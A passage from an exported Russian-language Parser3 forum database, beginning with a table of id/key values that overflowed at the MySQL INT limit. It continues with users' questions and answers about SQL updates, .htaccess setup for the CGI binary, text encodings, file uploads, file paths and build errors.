145	2147483647\
146	2147483647\
147	2147483647\
148	2147483647\
149	2147483647\
150	2147483647\
151	2147483647\
152	2147483647\
153	2147483647\
154	2147483647\
155	2147483647\
156	2147483647\
157	2147483647\
158	2147483647\
159	2147483647\
160	2147483647\
161	2147483647\
162	2147483647\
163	2147483647\
164	2147483647\
165	2147483647\
166	2147483647\
167	2147483647\
168	2147483647\
169	2147483647\
170	1255427859\
171	2147483647\
172	2147483647\
173	2147483647\
174	2147483647\
175	2147483647\
176	2147483647\
177	2147483647\
178	2147483647\
179	2147483647\
180	2147483647\
181	2147483647\
182	2147483647\
183	2147483647\
184	2147483647\
185	1597117816\
186	2147483647\
187	2147483647\
188	2147483647\
189	2147483647\
190	2147483647\
191	2147483647\
192	2147483647\
193	2147483647\
194	2147483647\
195	1477335595\
196	2147483647\
197	2147483647\
198	2147483647\
199	2147483647\
200	2147483647\
id	key\
201	2147483647\
202	2147483647\
203	2147483647\
204	2147483647\
205	2147483647\
206	2147483647\
207	1354428063\
208	2147483647\
209	2147483647\
210	2147483647\
211	2147483647\
212	2147483647\
213	2147483647\
214	2147483647\
215	2147483647\
216	2147483647\
217	2147483647\
218	2147483647\
219	2147483647\
220	1993788967\
221	2147483647\
222	2147483647\
223	2147483647\
224	1812397145\
225	2147483647\
226	2147483647\
227	2147483647\
228	1174120733\
229	2147483647\
230	2147483647\
231	2147483647\
232	2147483647\
233	2147483647\
234	2147483647\
235	1364156332\
236	2147483647\
237	2147483647\
238	2147483647\
239	2147483647\
240	2147483647\
241	2147483647\
242	1099359875\
243	2147483647\
244	2147483647\
245	1888465588\
246	2147483647\
247	1769072555\
248	2147483647\
249	2147483647\
250	2147483647\
251	2147483647\
252	2147483647\
253	2147483647\
254	1333577859\
255	2147483647\
256	1484043462\
257	1129109709\
258	2147483647\
259	2147483647\
260	2147483647\
261	2147483647\
262	2147483647\
263	1784909312\
264	2147483647\
265	2135625865\
266	2147483647\
267	2147483647\
268	2147483647\
269	2147483647\
270	1617958524\
271	2147483647\
272	1259127782\
273	2126105696\
274	2147483647\
275	2147483647\
276	2147483647\
277	2147483647\
278	2147483647\
279	2147483647\
280	2147483647\
281	2147483647\
282	2147483647\
283	1172382683\
284	2147483647\
285	2147483647\
286	2147483647\
287	2147483647\
288	2147483647\
289	2147483647\
290	1568356695\
291	2147483647\
292	2147483647\
293	2147483647\
294	2147483647\
295	2147483647\
296	2147483647\
297	2147483647\
298	2091565903\
299	2147483647\
300	1174225231\
id	key\
301	2147483647\
302	2147483647\
303	2147483647\
304	2147483647\
305	2147483647\
306	735686056\
307	2147483647\
308	2147483647\
309	2147483647\
310	2147483647\
311	2147483647\
312	1953662687\
313	2147483647\
314	2147483647\
315	2147483647\
316	2147483647\
317	2147483647\
318	2147483647\
319	2147483647\
320	2147483647\
321	2147483647\
322	2147483647\
323	2147483647\
324	2147483647\
325	2147483647\
326	2147483647\
327	2147483647\
328	2147483647\
329	2147483647\
330	2147483647\
331	2147483647\
332	2147483647\
333	2147483647\
334	2147483647\
335	2147483647\
336	2147483647\
337	2147483647\
338	2147483647\
339	1034856974\
340	2147483647\
341	2147483647\
342	2147483647\
343	2147483647\
344	2147483647\
345	2147483647\
346	2147483647\
347	2147483647\
348	2147483647\
349	2147483647\
350	2147483647\
351	2147483647\
352	2147483647\
353	1974222592\
354	2147483647\
355	2147483647\
356	2147483647\
357	2147483647\
358	2147483647\
359	2147483647\
360	2147483647\
361	2147483647\
362	2147483647\
363	2147483647\
364	2147483647\
365	2147483647\
366	2147483647\
367	1272819698\
368	1451508046\
369	2147483647\
370	2147483647\
371	2147483647\
372	2147483647\
373	2147483647\
374	2147483647\
375	2055689992\
376	2147483647\
377	2147483647\
378	2147483647\
379	2147483647\
380	2147483647\
381	2147483647\
382	2147483647\
383	1699649067\
384	2147483647\
385	2147483647\
386	2147483647\
387	1271718317\
388	2147483647\
389	2147483647\
390	2147483647\
391	2147483647\
392	2147483647\
393	2147483647\
394	2147483647\
395	2147483647\
396	1572278993\
397	2147483647\
398	2147483647\
399	2147483647\
400	2147483647\
id	key\
401	2147483647\
402	1067811099\
403	2147483647\
404	2147483647\
405	2147483647\
406	1578397156\
407	2147483647\
408	2147483647\
409	2147483647\
410	2147483647\
411	2147483647\
412	2147483647\
413	1295255821\
414	2147483647\
415	2147483647\
416	2147483647\
417	2147483647\
418	2147483647\
419	2147483647\
420	2147483647\
421	2147483647\
422	2147483647\
423	2147483647\
424	2147483647\
425	2147483647\
426	2147483647\
427	1897565864\
428	2147483647\
429	2147483647\
430	2147483647\
431	2147483647\
432	2147483647\
433	1830798999\
434	2147483647\
435	2147483647\
436	2147483647\
437	2147483647\
438	2147483647\
439	2147483647\
440	2147483647\
441	2147483647\
442	2147483647\
443	2147483647\
444	2147483647\
445	2147483647\
446	2147483647\
447	2147483647\
448	2147483647\
449	2147483647\
450	2147483647\
451	2147483647\
452	2147483647\
453	2147483647\
454	2147483647\
455	2147483647\
456	1676262604\
457	2147483647\
458	2147483647\
459	2147483647\
460	2147483647\
461	2147483647\
462	2147483647\
463	2147483647\
464	1107057956\
465	2147483647\
466	2147483647\
467	2147483647\
468	2147483647\
469	2147483647\
470	2147483647\
471	2147483647\
472	2147483647\
473	2147483647\
474	2147483647\
475	1254087274\
476	2147483647\
477	1621439202\
478	2147483647\
479	2147483647\
480	2147483647\
481	2147483647\
482	2147483647\
483	2147483647\
484	2147483647\
485	2147483647\
486	2147483647\
487	2147483647\
488	2147483647\
489	2147483647\
490	2147483647\
491	2147483647\
492	2147483647\
493	2147483647\
494	2147483647\
495	2147483647\
496	1538455611\
497	2147483647\
498	1693524955\
499	2147483647\
500	2147483647\
id	key\
501	2147483647\
502	2147483647\
503	2097184520\
504	2147483647\
505	1095395122\
506	2147483647\
507	2147483647\
508	2147483647\
509	2147483647\
510	1231413446\
511	2147483647\
512	2147483647\
513	2147483647\
514	2147483647\
515	2147483647\
516	2147483647\
517	2147483647\
518	2147483647\
519	1612171221\
520	2147483647\
521	2147483647\
522	2147483647\
523	2147483647\
524	2147483647\
525	2147483647\
526	2147483647\
527	2147483647\
528	1592233561\
529	2147483647\
530	2147483647\
531	2147483647\
532	2147483647\
533	2147483647\
534	2147483647\
535	2147483647\
536	2147483647\
537	2147483647\
538	2147483647\
539	2147483647\
540	2147483647\
541	2147483647\
542	2131872757\
543	1388436701\
544	2147483647\
545	2147483647\
546	2147483647\
547	2147483647\
548	2147483647\
549	2147483647\
550	2147483647\
551	2147483647\
552	2147483647\
553	2147483647\
554	2147483647\
555	1743188368\
556	1571444156\
557	2147483647\
558	2147483647\
559	2147483647\
560	2147483647\
561	2147483647\
562	2147483647\
563	2147483647\
564	2147483647\
565	1514329436\
566	2147483647\
567	2147483647\
568	2147483647\
569	1341970266\
570	1356132109\
571	2147483647\
572	2147483647\
573	1164172654\
574	2147483647\
575	2147483647\
576	2147483647\
577	2147483647\
578	2147483647\
579	2147483647\
580	2147483647\
581	2147483647\
582	2147483647\
583	2147483647\
584	2147483647\
585	2147483647\
586	2147483647\
587	2147483647\
588	1453901711\
589	2147483647\
590	2147483647\
591	2147483647\
592	2147483647\
593	2147483647\
594	2147483647\
595	1418573376\
596	2147483647\
597	2147483647\
598	2147483647\
599	2147483647\
600	2147483647\
id	key\
601	2147483647\
602	2147483647\
603	2147483647\
604	2147483647\
605	2147483647\
606	1007512935\
607	2147483647\
608	2147483647\
609	2147483647\
610	2147483647\
611	2147483647\
612	2147483647\
613	2147483647\
614	2147483647\
615	2147483647\
616	2147483647\
617	2147483647\
618	2147483647\
619	2147483647\
620	1491902985\
621	2147483647\
622	2147483647\
623	2147483647\
624	1569421378\
625	1498987668\
626	2147483647\
627	2147483647\
628	2147483647\
629	2147483647\
630	2147483647\
631	2147483647\
632	2147483647\
633	2147483647\
634	2147483647\
635	2147483647\
636	2147483647\
637	2147483647\
638	1261398038\
639	2147483647\
640	2147483647\
641	2147483647\
642	2147483647\
643	2147483647\
644	2147483647\
645	2147483647\
646	2147483647\
647	1914629205\
648	2147483647\
649	2147483647\
650	2147483647\
651	2147483647\
652	2147483647\
653	2098908941\
654	2147483647\
655	2147483647\
656	2147483647\
657	2147483647\
658	2147483647\
659	1409297461\
660	2147483647\
661	2135594015\
662	2147483647\
663	2147483647\
664	2147483647\
665	2147483647\
666	2147483647\
667	2147483647\
668	2147483647\
669	2147483647\
670	2147483647\
671	2147483647\
672	2147483647\
673	2147483647\
674	2147483647\
675	2147483647\
676	1269852839\
677	2147483647\
678	2147483647\
679	2147483647\
680	2147483647\
681	2147483647\
682	2147483647\
683	2147483647\
684	2147483647\
685	2147483647\
686	1887388341\
687	2147483647\
688	2147483647\
689	2147483647\
690	2147483647\
691	2147483647\
692	2147483647\
693	2147483647\
694	2147483647\
695	2147483647\
696	2147483647\
697	2147483647\
698	2147483647\
699	2147483647\
700	1291794267\
id	key\
701	1614805254\
702	2147483647\
703	2147483647\
704	2147483647\
705	2147483647\
706	1971350469\
707	2147483647\
708	2147483647\
709	2147483647\
710	2020859884\
711	2147483647\
712	2147483647\
713	1139726154\
714	2147483647\
715	2147483647\
716	2147483647\
717	2147483647\
718	2147483647\
719	2147483647\
720	2147483647\
721	1353643851\
722	2147483647\
723	1459958043\
724	2147483647\
725	2147483647\
726	2147483647\
727	2147483647\
728	2147483647\
729	2147483647\
730	2147483647\
731	2147483647\
732	2147483647\
733	2147483647\
734	2147483647\
735	2147483647\
736	2147483647\
737	2147483647\
738	2147483647\
739	2147483647\
740	2147483647\
741	2147483647\
742	2147483647\
743	2147483647\
744	2147483647\
745	2147483647\
746	2147483647\
747	2147483647\
748	2147483647\
749	2147483647\
750	2011879069\
751	2147483647\
752	2147483647\
753	2147483647\
754	2029479035\
755	2147483647\
756	2147483647\
757	2147483647\
758	2147483647\
759	2147483647\
760	2147483647\
761	2147483647\
762	1673332128\
763	2147483647\
764	2147483647\
765	1892894619\
766	2121945492\
767	2147483647\
768	2147483647\
769	1272483405\
770	2147483647\
771	2147483647\
772	2147483647\
773	2147483647\
774	2147483647\
775	2147483647\
776	2147483647\
777	1757109523\
778	2147483647\
779	2147483647\
780	2147483647\
781	2147483647\
782	2147483647\
783	2147483647\
784	1095035208\
785	2147483647\
786	1562813683\
787	2147483647\
788	2147483647\
789	2147483647\
790	2147483647\
791	1349410244\
792	2147483647\
793	2147483647\
794	2147483647\
795	2147483647\
796	1745944604\
797	2147483647\
798	2147483647\
799	2147483647\
800	2147483647"
"35281","[code]@page[]\
# Достаём сущ. id и сопоставляем в БД каждому id случайное неповторяющееся число\
$test[^table::sql{SELECT id FROM bn}]\
^test.menu{\
	^void:sql{UPDATE `bn`\
			  SET `key`='^key_test[]'\
			  WHERE id=$test.id}\
			  \
}OK\
\
# Проверяем число на существование в БД, если существует вызываем самого себя ещё раз\
@key_test[][test]\
$result[^keygen[]]\
$test[^table::sql{SELECT id FROM bn WHERE `key`=\"$result\"}]\
^if(def $test.id){$result[^key_test[]]}\
\
# Генерируем случайное число скажем в 10 символов\
@keygen[]\
$result[^math:random(1000)^math:random(1000)^math:random(1000)^math:random(1000)^math:random(1000)^math:random(1000)^math:random(1000)^math:random(1000)^math:random(1000)^math:random(1000)^math:random(1000)^math:random(1000)]\
$result[^result.mid(0;10)]\
\
# ps: Как ни странно но например на 3х символах ошибки не возникает\
# pps: Обратите внимание есть проверка на повторяемость числа однако она срабатывает не всегда[/code]"
"35282","P.S. извращением вы занимаетесь... уникальность достигается средствами SQL: вещается unique constraint на нужное вам поле и в try запрос добавляющий данные. соотвт. если exception - повтор с другим значением.\
\
P.P.S. $result[^math:random(1000)...] - изврат. \
$result[^eval(^math:random(10000000000))[%010d]]\
"
"35288","Я нащёл, где грабли, в доке для mysql написано\
\
[quot]\
Если для столбца INT указан параметр UNSIGNED, то величина допустимого интервала для столбца останется той же, но его граничные точки сдвинутся к 0 и 4294967295. Если попытаться записать числа -9999999999 и 9999999999, то в столбце окажутся величины 0 и 4294967296.[/quot]\
\
Прошу прощения, за доставание всей парсер общественности, и благодарю за помощь."
"35289","Знатоки, помогите..\
Вот такая таблица, copypaste.\
[code]\
CREATE TABLE `hits24` (\
  `hits_id` int(11) NOT NULL auto_increment,\
  `count_id` int(11) NOT NULL default '0',\
  `cnt` int(11) NOT NULL default '0',\
  `date` date NOT NULL default '0000-00-00',\
  `s3` int(11) NOT NULL default '0',\
  `s5` int(11) NOT NULL default '0',\
  PRIMARY KEY  (`hits_id`)\
) TYPE=MyISAM AUTO_INCREMENT=3 ;\
\
INSERT INTO `hits24` VALUES (1, 1, 0, '2004-12-01', 1, 0);\
INSERT INTO `hits24` VALUES (2, 279, 0, '2004-12-01', 1, 0);\
[/code]\
\
Почему строка:\
[code]\
^void:sql{UPDATE `hits24` SET `cnt` = '2' AND `s5` = '1'}\
[/code]\
на эту таблицу никакого действия не имеет?\
Пробовал парсером, phpmyadmin'ом, через ssh самим mysqlем..\
Мистика блин..\
\
upd: более того. если установить например начальное значение cnt отличное от 0 - он его этим запросим скидывает в 0. \
Однако если также установить значиение s5 отличное от нуля - он его не скидывает, а просто  игнорирует и не меняем.. \
Куда копать?"
"35290","... потому что ключевое слово AND в запросе играет совсем иную роль, нежели добавление поля к списку изменяемых, а именно имеет место выполнение логического оператора. Для того, чтобы запрос возымел таки действие на таблицу, надо написать\
[code]\
^void:sql{UPDATE `hits24` SET `cnt` = '2', `s5` = '1'}\
[/code]\
Это приведет к обновлению ВСЕХ записей таблицы (замене значений полей cnt и s5 на 2 и 1 соответственно). Для конкретизации изменяемой записи(ей) можно использовать ключевое слово WHERE <expression>"
"35291","Ну всё правильно! Я так и делал. У меня ID в таблице делилось на два. Но база стала рости нек. строки удалялись итд. И началась фигня, по две три выделенные строки подрят, а потом не выделенные и всё в таком духе. Мне то бы хотелось, что б то число которое нужно делить создавалось авт. при формировании списка (табл.) и было независимо от Базы."
"35294","Вообщем так.\
Есть сайтик с прописанными .htaccess, прописано там следующее\
Options -Indexes\
AddHandler parser3-handler html\
Action parser3-handler /cgi-bin/parser3.cgi\
<Files ~ \"\\.(p|cfg)$\">\
	Order allow,deny\
	Deny from all\
</Files>\
Далее в каталог cgi-bin в бинарном режиме закачал parser3.cgi\
выдаёт ошибку 500\
в логах ошибок следующее:\
Premature end of script headers: /home/eatmeat4/public_html/cgi-bin/parser3.cgi\
Сюдя из этого файлик .htaccess работает, разрешения на его использование стоят, из этого следует что неработает сам скрипт parser3.cgi\
\
Общая информация о сервере: \
Операционная система FreeBSD \
Версия ядра 4.8-RELEASE-p23 \
версия Apache 1.3.28 (Unix) \
версия Perl 5.6.1 \
Путь к Perl /usr/bin/perl \
Путь к sendmail /usr/sbin/sendmail \
Установленные Perl-модули Подробнее... \
версия PHP 4.3.4 \
Версия MySQL 4.0.18 \
версия cPanel 9.1.0-STABLE 86 \
\
Под него я качал  parser3_1_3_freebsd49R_cgi_xml.tar.gz \
я так понял что версия нета надо 4.8, можно ли версию более раннею например 4.5. Ещё проблема в том что если просматреть закаченный на сервак parser3.cgi внутри не код а белеберда ( \\сюда по всему поэтому он и не обрабатывается), я пробовал закачивать и не в распакованном виде, распаковывал непосредственно на сервере, и в распакованном виде один только parser3.cgi в бинарном режиме, всё равно ошибка 500. Может тама что нибудь с путями к каталогам не так? Хотя я не думаю. Если обратиться непосредственно к скрипту через браузер выдаёт 500 ошибку.\
Помогите пожалуйста, оченб очень срочно надо, начальство в ярости как всегда надо прям сразу чтобы было. Просто нам сайтик делала сторонняя компания, нам только архивчик сбросили и всё. Вот теперь и мучаемся.\
Заранее благодарен Александр. \
Theme cPanel X v2.2"
"35296","Я думал 3 часа, успел перелопатить всё, но не додумался заменить and на запятую.. =)\
Что ещё раз образцово показывает - высыпаться надо.."
"35298","вы в чистом виде проблему наблюдаете?\
предъявите простой код + его результаты, если они вам кажутся странными."
"35299","тут http://www.parser.ru/forum/?id=35282\
\
только пишете, http://www.parser.ru/forum/?id=35288\
что \"сами разобрались\"."
"35300","если думаете, что читали, приведите оттуда текст, и напишите про каждый пункт ваш результат.\
\
что внутри бинарника \"белиберда\", это нормально.\
parser скомпилирован в машинные коды, а не написан на perl, как, возможно, вы привыкли."
"35301","используя поиск находим\
[url=\"http://www.parser.ru/forum/?id=35148\"]риторическое выcказывание Sikoza[/url] отставшееся без комментариев\
и код \
[code]\
$tmp[^date::now[]]\
$tmp2[$tmp]\
^tmp2.roll[year](-2)\
$tmp.year\
[/code]\
который у меня работает также и не дает сделать календарь\
"
"35302","Секунду, значит закачалось всё верно, что касается версии как я написал в предыдущем сообщении FreeBSD 4.8, что и откуда мне качать, парсер нужен с поддержкой xml."
"35304","на чтение FAQ и повторное чтение http://www.parser.ru/forum/?id=35300"
"35305","Типичная ошибка, «Premature end of script headers», означает, что вы забыли поставить бит «executable» ------<что за бит и где он ставиться, случайно это не права доступа к файлику?>---------\
или выбрали версию Parser, не соответствующую операционной системе вашего сервера (уточните ее у системного администратора).-----<я говорю версия FreeBSD 4.8, на parser.ru версия для скачивания 4.9, где вязть более раннею версию>--------\
Также причиной может быть то, что вы «закачали» исполняемый файл на сервер не в режиме binary. -------<Именно в нём и закачал размеры одинаковые что на локальном диске что на сервере>------- \
В этом случае размер закачаного файла будет отличаться от файла, лежащего на вашем локальном диске.\
Другой причиной может являться опечатка в .htaccess файле, запись в лог файле будет содержать подробное указание, что вы сделали не так."
"35307","Есть ли бесплатный хостинг с предустановленым Parse3 и MySQL.???\
Хочеться посмотреть будет-ли работать мой форум где нибудь еще кроме как у меня. =)"
"35309","А предустановленный парсер критичен?\
На ruweb.net дают месяц пробного хостинга..\
У меня там парсер в cgi версии полтора года работает на ура."
"35310","возможна ли работа исполняющих фалов parser на компьютере? или понятнее, в режиме offline. могу ли я просматривать получившееся в браузере непосредственно на компьютере?"
"35311","как \"загнать\" файл с расширением *.p (parser)в браузер для просмотра. что нужно сделать в коде html-страницы?\
\
я использовал руководство, и написал в файле auto.p примеры навигации, но как посмотреть работоспособность?"
"35312","http://www.parser.ru/download/win32/\
качай это \"Джентльменский набор Web-разработчика (Денвер)\" \
ставь и смотри наздоровье."
"35313","Дано вот что: в корневой папке хоста есть папка CGI-BIN, где лежит собственно сам парсер. Есть папка sberbank в которой находится сайт. Нужно, чтобы в папке sberbank не делать папку CGI-BIN, обрабатывать файлы парсером. Попытался делать в .htaccess таким:\
\
# назначение обработчиком .html страниц:\
AddHandler parsed-html html\
Action parsed-html ../cgi-bin/parser3.cgi\
\
# запрет на доступ к .cfg и .p файлам:\
<Files ~ \"\\.(p|cfg)$\">\
Order allow,deny\
Deny from all\
</Files>\
\
Браузер выдает ошибку 400. Без .htaccess все работает (естественно без парсера). Как можно добиться желаемого?\
страктура папок такая:\
..\
/CGI-BIN/\
/IMAGES/\
/SBERBANK/\
[файлы основного сайта]"
"35314","Есть в документации такие строки:\
\
----------------------------------------------\
^документ.transform[шаблон]\
^документ.transform[шаблон][XSLT-параметры]\
\
Осуществляет XSL-преобразование документа по шаблону. Возможно задание XSLT-параметров.\
\
Шаблон - или путь_к_файлу_с_шаблоном, или xdoc документ.\
Parser может считать XML из произвольного источника, см. раздел «Чтение XML из произвольного источника».\
\
XSLT-параметры - хеш строк, доступных из шаблона через <xsl:param … />.\
----------------------------------------------\
\
Подскажите, как использовать эту возможность передачи XSLT-параметров в шаблон.\
Так не очень понятно, ведь в шаблоне могут быть несколько блоков использующих эти параметры.\
Эти параметы всем что-ли будут передаваться? Или как? Можно какой-нибудь пример?"
"35315","Ты помоему забыл установить парсер на компютере. Зайди в раздел [color=\"#ff0000\"]\"Скачать\"[/color] и скачай \"Джентельменский набор DENWER\". Установи его.\
\
[color=\"#ff0000\"][b]И читай УРОК внимательно! Написано по русски \"Создайте index.html и вставте в него такой-то код\". Делай как написано![/b][/color]"
"35316","С буквами і и ї проблем нет, но украинский апостроф никак не получается вытащить из базы! вместо него \"?\"\
настройка в mysql: default-character-set=koi8u не помогает!\
\
платформа:\
II6 + MySQL 4.1.7 + parser 3.1.2"
"35319","там подробно и с примерами\
http://www.parser.ru/links/"
"35320","что это за буква? [url, где можно увидеть?]\
если мы не видели, возможно, авторы mysql тоже.\
вариант: перейдите на сервере к хранению информации в windows-1251, тогда никаких перекодировок не будет происходить, и все будут довольны.\
\
когда мы воевали с кодировками, видели вот эти 4 украинских буквы (up/low case):\
[code]ҐґЄєІіЇї[/code]\
\
насколько помню, в mysql кодировка koi8-r реально идентична koi8-u.\
\
собственно поэтому вам удалось опубликовать сообщение в этом форуме, ведь его база сейчас тоже в koi8-r."
"35322","я скачал джентельменский набор denwer. и установил его, но как пользоваться не понял... \
\
объясни плиз"
"35323","Ты не забыл случайно прочитать на Уроке 1 что надо создать index.html и вызывать методы оттуда ?"
"35324","http://unian.net например\
например слово Хав`єр СОЛАНА\
:))"
"35325","Не забивайте себе голову. Скачайте  http://www.bougakov.com/devel/download/apache_swissknife_setup.exe (11.7 Mb) - там парсер, apache, база данных и даже php с перлом уже собраны и настроены и сразу после установки готовы работать."
"35326","как? каким образом вызвать методы?"
"35327","1. не увидел ничего особенного в этой букве.\
2. по вашей ссылке слово \"солана\" не находится.\
3. вариант: используйте цифровую entity [code]&#юникод_нужной_буквы;[/code]\
4. если та буква, что вы опубликовали в сообщении в браузере тут http://www.parser.ru/forum/?id=35324 выглядит как надо, то имейте в виду, что наш mysql работает в koi8-r кодировке."
"35328","Судя по вопросу - ты даже не подозреваешь что существует документация... тут тебе на такое не ответят - это черезчур. И вообще непонятно что ты хочешь делать с парсером - если даже не ПЫТАЛСЯ его изучить хоть чуть-чуть самостоятельно... Читай доку в общем.\
Она тут:\
http://www.parser.ru/docs/"
"35329","Почему не работает Parser на серваке (www.100mb.ru). Как сделать, чтобы работал Parser на серваке."
"35331","[quot]я использовал руководство, и написал в файле auto.p примеры навигации[/quot]\
\
эта фраза меня окончательно добила...\
\
да ведь вы даже не заходили в документацию, а метод copy/paste - это не \"написал\", это скопировал и вставил..."
"35332","Намекните где ошибка. Сам еще откровенный чайник.\
[code]\
<table width=\"100%\" border=\"0\">\
<tr><td class=\"text\">\
<form method=\"post\" enctype=\"multipart/form-data\">…<input name=\"photo\" type=\"file\">\
<br>\
<input type=\"submit\" value=\"Add New\" name=\"posted\">\
</td></tr>\
</table>\
^if(def $form:photo){\
$file[^file::load[binary; $form:photo]]\
   ^connect[$connect_string]{\
      ^void:sql{insert into kafedra (picture) values ($form:photo', '^file.sql-string[]')\
	  }\
	        …Все прошло успешно\
      }\
}\
{\
   …Надо заполнить все поля.\
}\
[/code]\
\
Выдает эту ошибку\
[code]\
is 'file', it has no string representation\
load\
\
z:/home/me/www/student.html(19)\
[/code]\
Я не прошу готового решения. Знать бы где копать."
"35333","... Никакие лоады там не нужны.\
\
[code]\
  $form:photo.name\
  ^form:photo.sql-string[]\
[/code]"
"35334","$table[^table::sql{SELECT MAX(rgroup) FROM table}]\
$table.MAX(rgroup)\
\
-- пишет invalid number (double) rgroup\
\
$cols[^table.columns[]] \
$max[$cols.column]\
$counter.$max\
\
-- таким образом ничего не пишет\
\
$cols.column\
\
-- так показывает что столбец действительно называется MAX(rgroup)\
\
Спасибо,\
Сергей"
"35335","... а еще наверняка пройдет что-то типа:\
[code]\
   $table.[MAX(rgroup)]\
[/code]\
"
"35336","А если нет возможности настраивать апач? Я снимаю хостинг у хостера, который не дает настраивать конфиги сервера."
"35337","Система FreeBSD 4.4.\
Сайт работал полностью на PHP (другие соорудили),\
а я теперь переделал на Парсере, но Парсер как-будто не видит файлы классов и файлы-картинки от старого сайта.\
\
В корневом auto.p пишу (operators.p тоже в корн.папке)\
[code]\
@USE\
/operators.p[/code]\
\
И получаю ошибку:\
[b]/: '/usr/local/apache/htdocs/operators.p' read failed: No such file or directory (2), actual filename '/usr/local/apache/htdocs/operators.p' [file.missing][/b]\
\
Также до этого пытался загр. изобр.\
[code]^image::measure[][/code]\
и получил такую ошибку:\
[b]'/usr/local/apache/htdocs/images/icons/1.jpg' measure failed: No such file or directory (2), actual filename '/usr/local/apache/htdocs/images/icons/1.jpg' [file.missing][/b]\
или вот:\
[b]'http://www.msh.ru/images/icons/1.jpg' measure failed: No such file or directory (2), actual filename 'http_3A//www.msh.ru/images/icons/1.jpg' [file.missing][/b]\
Хотя файл был на месте и все права вроде бы стояли.\
\
Если не пытаюсь загружать классы или что-либо еще, то работает вроде бы, но это ведь не годится.\
\
В поиске натолкнулся на сообщение о том, что \
[i]это может означать, что вебсервер (и парсер) запускается от лица 1 пользователя , а заливаются файлы от 2 пользователя, из соображений безопасности Парсеру запрещено читать файлы, не принадлежащие ему.[/i]\
Если у меня тоже самое, то как быть.\
Просто уж ничего не соображаю, всю ночь просидел, пытаясь \"включить\" и в путсую"
"35342","на моём хостинге, уже есть предустоновленный parser, если есть желание могу для пробы и испытания скрита [b]бесплатно[/b] выделить на нужное время в нашем домене, домен третьего уровня, твоё_имя.pwstudio.ru, если есть желание. \
Про хостинг можешь почитать на сайте www.pwstudio.ru \
если заинтересовался пиши на sales@pwstudio.ru    "
"35344","MySQL тоже получишь! остальное написано выше:)"
"35345","небыло доступа, то Парсер ругался бы именно на доступ, а не на отсутствие файла.\
Попоробуйте http://www.parser.ru/docs/lang/requestdocroot.htm\
И еще\
юзайте http://www.parser.ru/docs/lang/app1pathclass.htm"
"35346","Корневая папка для FTP\
/\
logs\
www\
\
-----------------------\
Непосредственно папки и страницы сайта в папке www\
/www/\
     cgi-bin\
     auto.p\
     operators.p\
     index.html\
     .htaccess\
\
Вопрос об ошибке:\
указывается путь (при написании в auto.p \
'\
@USE\
/operators')\
/: '[b]/usr/local/apache/htdocs/[/b]operators.p' read failed: No such file or directory (2), actual filename '[b]/usr/local/apache/htdocs/[/b]operators.p' [file.missing]\
\
А откуда он берется, т.е. [b]/usr/local/apache/htdocs/[/b]\
это иерархия папок которые выше моего доступа по FTP -\
[b]/usr/local/apache/htdocs/[/b]www/\
\
Или я ошибаюсь,\
У меня только опыт размещения сайта на хостинге arbatek.ru\
но там никаких проблем не возникало..\
\
Теперь же разместил строчку в методе @auto[]\
в /www/cgi-bin/auto.p\
[b]$request:document-root[/usr/local/apache/htdocs/www][/b]\
Но опять же ошибка -\
[b]/: '/usr/local/apache/htdocs/www/operators.p' read failed: No such file or directory (2), actual filename '/usr/local/apache/htdocs/www/operators.p' [file.missing][/b]"
"35350","если хотите дискутировать, сначала прочтите уже имевшие место дискуссии. (поиск слева)"
"35352","Проблема при зборке.\
Почему-то Parser CVS с трудом находит libgc-6.1.\
Точнее находит, но только если написать при сборке --disable-threads --silent\
\
Обьясните, почему?\
\
После чего \
bash(parser3)$./configure \
Всё нормально.\
\
make\
отлично, но когда начинает линковать получается следующая беда:\
\
/var/spool/samba/Svalka/parser/parser3/src/classes/../types/pa_vmethod_frame.h:71: undefined reference to `__eh_alloc'\
../../classes/libclasses.a(file.o)(.text+0x5b5e):/var/spool/samba/Svalka/parser/parser3/src/classes/../types/pa_vmethod_frame.h:71: undefined reference to `__cp_push_exception'\
../../classes/libclasses.a(file.o)(.text+0x5b66):/var/spool/samba/Svalka/parser/parser3/src/classes/../types/pa_vmethod_frame.h:71: undefined reference to `__throw'\
../../classes/libclasses.a(file.o)(.text+0x5b6d):/var/spool/samba/Svalka/parser/parser3/src/classes/../types/pa_vmethod_frame.h:71: undefined reference to `terminate(void)'\
../../classes/libclasses.a(file.o)(.text+0x5b75):/var/spool/samba/Svalka/parser/parser3/src/classes/../types/pa_vmethod_frame.h:71: undefined reference to `terminate(void)'\
../../classes/libclasses.a(file.o)(.text+0x5b7d):/var/spool/samba/Svalka/parser/parser3/src/classes/../types/pa_vmethod_frame.h:71: undefined reference to `terminate(void)'\
../../classes/libclasses.a(file.o)(.text+0x5ca4): In function `_find(Request &, MethodParams &)':\
/var/spool/samba/Svalka/parser/parser3/src/classes/../types/pa_vmethod_frame.h:71: undefined reference to `__eh_alloc'\
../../classes/libclasses.a(file.o)(.text+0x5cc5):/var/spool/samba/Svalka/parser/parser3/src/classes/../types/pa_vmethod_frame.h:71: undefined reference to `__cp_push_exception'\
../../classes/libclasses.a(file.o)(.text+0x5ccd):/var/spool/samba/Svalka/parser/parser3/src/classes/../types/pa_vmethod_frame.h:71: undefined reference to `__throw'\
../../classes/libclasses.a(file.o)(.text+0x5d13): In function `_find(Request &, MethodParams &)':\
/var/spool/samba/Svalka/parser/parser3/src/classes/../types/pa_value.h:143: undefined reference to `__eh_alloc'\
../../classes/libclasses.a(file.o)(.text+0x5d34):/var/spool/samba/Svalka/parser/parser3/src/classes/../types/pa_value.h:143: undefined reference to `__cp_push_exception'\
../../classes/libclasses.a(file.o)(.text+0x5d3c):/var/spool/samba/Svalka/parser/parser3/src/classes/../types/pa_value.h:143: undefined reference to `__throw'\
../../classes/libclasses.a(file.o)(.text+0x5ec3): In function `_find(Request &, MethodParams &)':\
/var/spool/samba/Svalka/parser/parser3/src/classes/../types/pa_vmethod_frame.h:71: undefined reference to `__eh_alloc'\
../../classes/libclasses.a(file.o)(.text+0x5ee4):/var/spool/samba/Svalka/parser/parser3/src/classes/../types/pa_vmethod_frame.h:71: undefined reference to `__cp_push_exception'\
../../classes/libclasses.a(file.o)(.text+0x5eec):/var/spool/samba/Svalka/parser/parser3/src/classes/../types/pa_vmethod_frame.h:71: undefined reference to `__throw'\
../../classes/libclasses.a(file.o)(.text+0x5f6d): In function `_find(Request &, MethodParams &)':\
/var/spool/samba/Svalka/parser/parser3/src/classes/../types/pa_wcontext.h:74: undefined reference to `terminate(void)'\
../../classes/libclasses.a(file.o)(.text+0x5f75):/var/spool/samba/Svalka/parser/parser3/src/classes/../types/pa_wcontext.h:74: undefined reference to `terminate(void)'\
